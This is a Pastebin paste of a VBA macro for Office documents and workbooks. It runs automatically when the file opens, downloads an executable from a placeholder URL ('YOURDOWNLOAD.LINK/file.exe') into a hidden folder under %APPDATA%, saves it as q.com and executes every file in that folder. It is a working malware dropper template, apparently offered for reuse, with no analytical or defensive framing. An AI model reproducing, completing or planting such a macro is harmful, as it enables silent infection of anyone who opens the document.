Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Sub Auto_Open()
- h
- End Sub
- Sub h()
- Set oShell = CreateObject("WScript.Shell")
- strH = oShell.ExpandEnvironmentStrings("%APPDATA%")
- Dim sDir: sDir = strH & "\q"
- Set fso = CreateObject("Scripting.FileSystemObject")
- If (fso.FolderExists(sDir)) Then
- Else
- Set oFSO = CreateObject("Scripting.FileSystemObject")
- oFSO.CreateFolder sDir
- End If
- Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
- Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
- xHttp.Open "GET", "http://YOURDOWNLOAD.LINK/file.exe", False
- xHttp.Send
- With bStrm
- .Type = 1
- .Open
- .write xHttp.responseBody
- .savetofile strH & "\q\q.com", 2
- End With
- Call m(sDir)
- End Sub
- Sub AutoOpen()
- Auto_Open
- End Sub
- Sub Workbook_Open()
- Auto_Open
- End Sub
- Function m(str11)
- Dim fso, f, fc, f1, strF, intFiles
- Dim WshShell
- Set WshShell = CreateObject("WScript.Shell")
- strF = ""
- Set fso = CreateObject("Scripting.FileSystemObject")
- If (fso.FolderExists(str11)) Then
- Set f = fso.GetFolder(str11)
- Set fc = f.Files
- For Each f1 In fc
- Dim fR
- fR = str11 & "\" & f1.Name
- WshShell.Run Chr(34) & fR & Chr(34), 1, True
- Next
- Set f1 = Nothing
- Set fc = Nothing
- Set f = Nothing
- End If
- Set fso = Nothing
- End Function
Add Comment
Please, Sign In to add comment